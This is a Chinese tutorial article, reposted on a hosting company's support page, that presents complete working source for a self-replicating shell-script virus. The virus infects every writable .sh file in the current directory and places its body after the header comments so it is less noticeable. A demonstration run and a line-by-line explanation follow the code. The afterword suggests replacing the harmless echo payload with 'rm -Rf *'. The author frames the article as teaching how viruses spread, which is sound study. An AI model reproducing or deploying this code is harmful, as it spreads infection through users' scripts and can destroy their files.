会员登陆  支付方式  联系我们  在线客服  网站地图       
首页 关于域浪 互联网数据中心业务、主机托管、主机租用、机架租用、带宽租用、机房介绍、机房对比、CCN网络加速 adsl专线、深圳adsl专线 虚拟主机、域名注册、数据库、企业邮局、动态域名 网络安全、网络临近平台、安全服务、防火去墙租用、安全产品、域浪抗DDOS防火墙、NetScreen防火墙 技术支持  
   当前位置:首页 >> 技术支持 >> SHELL技巧 >> SHELL病毒简介
 
精华文章
    AIX shell工具集  
    I/O重定向 详解及例子  
    Shell 编程实例集锦  
    Linux下Shell基础知识...  
    Linux下Shell基础知识...  
    Linux下Shell基础知识...  
    Linux下Shell基础知识...  
    Linux Shell 下的输出...  
    几个shell程序设计小知...  
    几种常见shell简介  
    shell基础十二篇  
    Shell编程基础  
    Bourne Shell及shell编...  
    shell命令(三)  
    shell命令(二)  
    shell命令(一)  
    shell基础:输入和输出...  
    shell命令  
    shell编程入门及脚本测...  
    Linux Shells简介  
    TCSH Shell编程  
    Korn Shell编程  
    Shell基础及编程(二)  
    Shell基础及编程(一)  
    shell基础知识  
    shell编程例子 -- 一个...  
    在LinuxShell程序中进...  
    SHELL病毒简介  
  更多>>  
   SHELL技巧
 SHELL病毒简介
    说起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感染其他文件,传播自己吗?用shell写一个病毒且不是非常简单,于是顺手写了如下这么一个小脚本,功能就是感染其他shell程序。



    这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以算教学意义大于实际意义吧。



创建时间:2003-06-04

文章属性:原创

文章提交:watercloud (watercloud_at_xfocus.org)



SHELL病毒简介



1. 前言



    说起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下这么一个小脚本,功能就是感染其他shell程序。



    这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以算教学意义大于实际意义吧。



2. 程序代码



#!/bin/sh

#文件名: virus_demo.sh

#用途 : shell病毒演示。

#说明 : 病毒将感染当前目录下的所有.sh结尾的文件,但不会重复感染。

#编写 : watercloud@xfocus.org

#日期 : 2003-5-13



#B:<+!a%C&t:>

vFile=$_ ; vTmp=/tmp/.vTmp.$$

for f in ./*.sh; do

if [ ! -w $f -a ! -r $vFile ]; then continue; fi

if grep '<+!a%C&t:>' $f ; then continue; fi

if sed -n '1p' $f | grep 'csh'; then continue; fi

cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi

vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`

sed -n "1,${vNo}p" $vTmp >$f

(sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f

vNo=`expr $vNo + 1`

sed -n "${vNo},\$p" $vTmp >>$f

rm -f $vTmp

done >/dev/null 2>&1

unset vTmp ;unset vFile ;unset vNo



echo "Hi, here is a demo shell virus in your script !"

#E:<+!a%C&t:>

#EOF



看shell是多么得强大,这么短短得程序就能感染其他程序文件。



3. 演示



测试一下:



先在当前目录放两个文件,一个病毒文件,一个用来作被感染测试用。

[cloud@ /export/home/cloud/vir]> ls -l

drwxr-xr-x 2 cloud staff 512 6?? 4 17:43 ./

drwxr-xr-x 10 cloud staff 1024 6?? 4 17:41 ../

-rwxr--r-- 1 cloud staff 89 6?? 4 17:43 test.sh

-rwxr--r-- 1 cloud staff 773 6?? 4 17:42 virus_demo.sh



来看看我们这个"肉鸡"脚本,很简单:

[cloud@ /export/home/cloud/vir]> cat test.sh

#!/bin/sh

# Just a demo for virus test

# Author : foo

# Date : 3000-1-1



ls -l



#EOF



好了开始感染他。

[cloud@ /export/home/cloud/vir]> ./virus_demo.sh

Hi, here is a demo shell virus in your script !



来看看感染后的结果:

[cloud@ /export/home/cloud/vir]> cat test.sh

#!/bin/sh

# Just a demo for virus test

# Author : foo

# Date : 3000-1-1



#B:<+!a%C&t:>

vFile=$_ ; vTmp=/tmp/.vTmp.$$

for f in ./*.sh; do

if [ ! -w $f -a ! -r $vFile ]; then continue; fi

if grep '<+!a%C&t:>' $f ; then continue; fi

if sed -n '1p' $f | grep 'csh'; then continue; fi

cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi

vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`

sed -n "1,${vNo}p" $vTmp >$f

(sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f

vNo=`expr $vNo + 1`

sed -n "${vNo},\$p" $vTmp >>$f

rm -f $vTmp

done >/dev/null 2>&1

unset vTmp ;unset vFile ;unset vNo



echo "Hi, here is a demo shell virus in your script !"

#E:<+!a%C&t:>



ls -l



#EOF



看,病毒体:

#B:<+!a%C&t:>

. . . . 

#E:<+!a%C&t:>

被拷贝过来了,这样病毒就被传播了。

值得注意的是病毒体插入的位置是在源test.sh的有效程序行的开始处!

    这主要考虑到一般shell程序大家都喜欢在程序开始处作注释说明,你好歹不能把别人的注释信息给放到后面去,那也太明显了吧。



来执行看看我们新的病毒体看看:



[cloud@ /export/home/cloud/vir]> ./test.sh

Hi, here is a demo shell virus in your script ! <-- 看,病毒体内部的打印信息。



-rwxr-xr-x 1 cloud staff 724 6?? 4 17:44 test.sh

-rwxr-xr-x 1 cloud staff 773 6?? 4 17:42 virus_demo.sh



4. 简单讲解



我们来一步步分析一下这个病毒:



#B:<+!a%C&t:> 

病毒体开始标记,用于程序复制自己定位用



vFile=$_ ; vTmp=/tmp/.vTmp.$$

定义两个变量,一个临时文件,一个记录当前程序名称$_,这也就要求我们必须把这行作为程序有效行的第一行,如果放后头我们就无法得到当前程序名称,后面就找不到从哪里去找病毒体来拷贝了。



for f in ./*.sh; do

开始循环,找到当前目录下的所有.sh结尾的程序。



if [ ! -w $f -a ! -r $vFile ]; then continue; fi

目标是否有写权限,病毒源文件是否有读权限。



if grep '<+!a%C&t:>' $f ; then continue; fi

目标是否已经中毒很深无药可救了,如果是这样还给他再来一次也太不仁义了吧?



if sed -n '1p' $f | grep 'csh'; then continue; fi

如果目标shell是以csh的那语法上差异太大了,放弃吧。



cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi

好了准备感染,先把目标拷贝一个备份,拷贝失败了怎么办?当然只好放弃了。



vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`

这是干嘛?好像挺复杂,不过学shell病毒不了解awk和正规表达式好像有点说不过去吧,这个就是找到程序开始的注释和空白行有多少,好方便我们确定病毒体插入点。



sed -n "1,${vNo}p" $vTmp >$f

一个sed命令把目标文件的开始注释部分从备份文件中copy回来。



(sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f

再来一个sed完成搬运病毒体的工作。



vNo=`expr $vNo + 1`

sed -n "${vNo},\$p" $vTmp >>$f

最后一个sed把目标文件的其他部分搬回来,sed真强大呀!!



rm -f $vTmp

清理一下临时文件



done >/dev/null 2>&1

循环结束



unset vTmp ;unset vFile ;unset vNo

清理一下犯罪现场。



echo "Hi, here is a demo shell virus in your script !"

都感染了好歹也要显示点东西以告诉别人这是个被病毒感染过的程序吧。



#E:<+!a%C&t:>

病毒体结束标记,用于程序复制自己定位用



5. 后记



从中我们可以看到脚本病毒非常简单,不需要很多知识就能写一个,而且病毒破坏力也是不可小视比如我们的程序里把echo信息改为rm -Rf * ;同时反方面也展示了shell的强大之处,试想传统的程序光是处理PE文件结构和ELF结构就得花多少功夫。



上面得程序已经在Linux和Solaris上测试通过,windows上得用户在Cygwin上应该也行。



顺便再强调一次,写这篇文章得目的是和大家分享一下对病毒得理解,而不是教写病毒出去害人,切记切记!
  • 上一篇文章: 在LinuxShell程序中进行身份验证
  • 下一篇文章: shell入门基础
  • 域浪网络ISP经营许可证 深圳地址:深圳市罗湖区宝安北路国际商品交易大厦七楼C30室
    Tel:0755-82266883/82267566 Fax:0755-82261966
    邮编:518000 
                        Copyright © 2006-2008 elang.cn All Rights Reserved 深圳市域浪网络技术有限公司版权所有